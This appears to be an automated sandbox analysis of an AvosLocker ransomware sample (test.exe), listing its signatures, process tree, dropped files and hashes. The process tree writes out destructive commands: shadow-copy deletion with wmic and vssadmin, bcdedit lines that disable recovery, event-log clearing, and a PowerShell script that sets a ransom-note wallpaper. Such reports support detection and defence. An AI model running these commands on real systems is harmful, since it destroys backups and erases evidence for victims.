Overview

overview

10

Static

static

3

test.exe

windows7-x64

10

test.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    98s
  • max time network
    143s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29-12-2024 05:06

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General

  • Target

    test.exe

  • Size

    1.6MB

  • MD5

    e02f95741041a4da9ca26d2f20fc28da

  • SHA1

    91555f9e13ab54363f3f4f129cdadb6c225b6c20

  • SHA256

    62a9b760a2f94f4e1be8784e5d8394bb76e9981a4ae2426237e5b6fdf4538c9a

  • SHA512

    921aea6afc16d4036a14b8ad5d7f268d29405979ef83b9b94c0023a9721735b6d7e1ce461c31d5b230c6160906f61f703e73637cf1197b9584bf816617ea3ec1

  • SSDEEP

    24576:/Imw98okVgela0as5CqLVO7XJCjkD3N0HRADV0aEhbHdn0TrldepPZ:ZL5ljasaU4eaEhDF

Score
10/10
avoslockerdefense_evasiondiscoveryevasionexecutionimpactransomwareupx

Malware Config

Signatures

  • Avoslocker Ransomware

    Avoslocker is a relatively new ransomware, that was observed in late June and early July, 2021.

    ransomwareavoslocker
  • Avoslocker family
    avoslocker
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
    ransomwareevasion
  • Renames multiple (8466) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

    ransomware
  • Executes dropped EXE 2 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • UPX packed file 3 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in Program Files directory 64 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

    execution
  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\test.exe
    "C:\Users\Admin\AppData\Local\Temp\test.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4932
    • C:\Users\Admin\AppData\Local\Temp\Firefox Installer.exe
      "C:\Users\Admin\AppData\Local\Temp\Firefox Installer.exe"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:4780
    • C:\Users\Admin\AppData\Local\Temp\hack.exe
      "C:\Users\Admin\AppData\Local\Temp\hack.exe"
      2⤵
      • Executes dropped EXE
      • Drops desktop.ini file(s)
      • Enumerates connected drives
      • Drops file in Program Files directory
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3472
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c wmic shadowcopy delete /nointeractive
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3064
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic shadowcopy delete /nointeractive
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:52588
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c vssadmin.exe Delete Shadows /All /Quiet
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:780
        • C:\Windows\system32\vssadmin.exe
          vssadmin.exe Delete Shadows /All /Quiet
          4⤵
          • Interacts with shadow copies
          PID:34180
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c bcdedit /set {default} recoveryenabled No
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1316
        • C:\Windows\system32\bcdedit.exe
          bcdedit /set {default} recoveryenabled No
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:34164
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3684
        • C:\Windows\system32\bcdedit.exe
          bcdedit /set {default} bootstatuspolicy ignoreallfailures
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:34172
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4608
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:52596
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "$a = [System.IO.File]::ReadAllText(\"C:\GET_YOUR_FILES_BACK.txt\");Add-Type -AssemblyName System.Drawing;$filename = \"$env:temp\$(Get-Random).png\";$bmp = new-object System.Drawing.Bitmap 1920,1080;$font = new-object System.Drawing.Font Consolas,10;$brushBg = [System.Drawing.Brushes]::Black;$brushFg = [System.Drawing.Brushes]::White;$format = [System.Drawing.StringFormat]::GenericDefault;$format.Alignment = [System.Drawing.StringAlignment]::Center;$format.LineAlignment = [System.Drawing.StringAlignment]::Center;$graphics = [System.Drawing.Graphics]::FromImage($bmp);$graphics.FillRectangle($brushBg,0,0,$bmp.Width,$bmp.Height);$graphics.DrawString($a,$font,$brushFg,[System.Drawing.RectangleF]::FromLTRB(0, 0, 1920, 1080),$format);$graphics.Dispose();$bmp.Save($filename);reg add \"HKEY_CURRENT_USER\Control Panel\Desktop\" /v Wallpaper /t REG_SZ /d $filename /f;Start-Sleep 1;rundll32.exe user32.dll, UpdatePerUserSystemParameters, 0, $false;"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:25152
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\1787872739.png /f
          4⤵
          • Sets desktop wallpaper using registry
          PID:25424
        • C:\Windows\system32\rundll32.exe
          "C:\Windows\system32\rundll32.exe" user32.dll UpdatePerUserSystemParameters 0 False
          4⤵
            PID:25632
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:53108

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\GET_YOUR_FILES_BACK.txt
      Filesize

      1011B

      MD5

      c92c2b70fb37f84aab38412ad9226aa8

      SHA1

      14f2e9a83285612d0a7b2c83b8f89bccfde6c154

      SHA256

      d64639e873c0873b469cd856d1ef4bce7dc14a80fac6fe2bed9d629f05acc77f

      SHA512

      04f9dcb3cd49909712535255b6eadd7fafcb2902bf1abd5a25e9bb5f5c4dc032611aec0a5b0ec89cd7dbc65276b935c54b906b391507d2e3e3aa65466b15f848

      Download Submit

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
      Filesize

      2KB

      MD5

      6cf293cb4d80be23433eecf74ddb5503

      SHA1

      24fe4752df102c2ef492954d6b046cb5512ad408

      SHA256

      b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

      SHA512

      0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

      Download Submit

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
      Filesize

      64B

      MD5

      eb6332ae9e8fec69c2236355e2638f9d

      SHA1

      71500d57fb304979afd6756f06d4b9a59f995eb7

      SHA256

      88e5ffe18fd4a772efce68f1b0db839846cafc42d36415508ad5356a44d38f32

      SHA512

      e87c864ba79bd7a10a62b55ad564cf3acb090e7d85707a6967497deeef5fcde1f0b4608ea8791bf81363ec583a0101d470d8f3cd2172ced8d4071d7f6c674aed

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\Firefox Installer.exe
      Filesize

      364KB

      MD5

      530894a1f0eb42c7837db4d74829f5c6

      SHA1

      99909db6f574ca964a9b822b9b19fd2e851b8c1e

      SHA256

      aac3ce797f50e0a5b9f1b43aaaffb439d4c42e3cf5b9fbeac52fa3d263fde3d0

      SHA512

      0836dd919c5f5648ce3445f9a3c84afe5e1e694ff998f1204498b2a86b13ed297469bea88af0ad7e49c97cd57153c7c43fd0a311b4c2685f4dfca5574d1d10f0

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bnvetpxe.3yf.ps1
      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\hack.exe
      Filesize

      807KB

      MD5

      e27b5291c8fb2dfdeb7f16bb6851df5e

      SHA1

      40207f83b601cd60905c1f807ac0889c80dfe33f

      SHA256

      ffd933ad53f22a0f10cceb4986087258f72dffdd36999b7014c6b37c157ee45f

      SHA512

      2ddbc50cd780ffbf73c354b9b437322eb49cb05bb6f287d54e7dcafb61dc4c4549e37ae2f972f3d240bfa7d2ca485b7583137f1bf038bc901f378cea0c305c6a

      Download Submit

    • memory/4780-8-0x0000000000400000-0x0000000000446000-memory.dmp

      Filesize

      280KB

      Download

    • memory/4780-15-0x0000000000400000-0x0000000000446000-memory.dmp

      Filesize

      280KB

      Download

    • memory/4932-9-0x00007FF71FD60000-0x00007FF71FEF9000-memory.dmp

      Filesize

      1.6MB

      Download

    • memory/52596-16820-0x00000275C7210000-0x00000275C7232000-memory.dmp

      Filesize

      136KB

      Download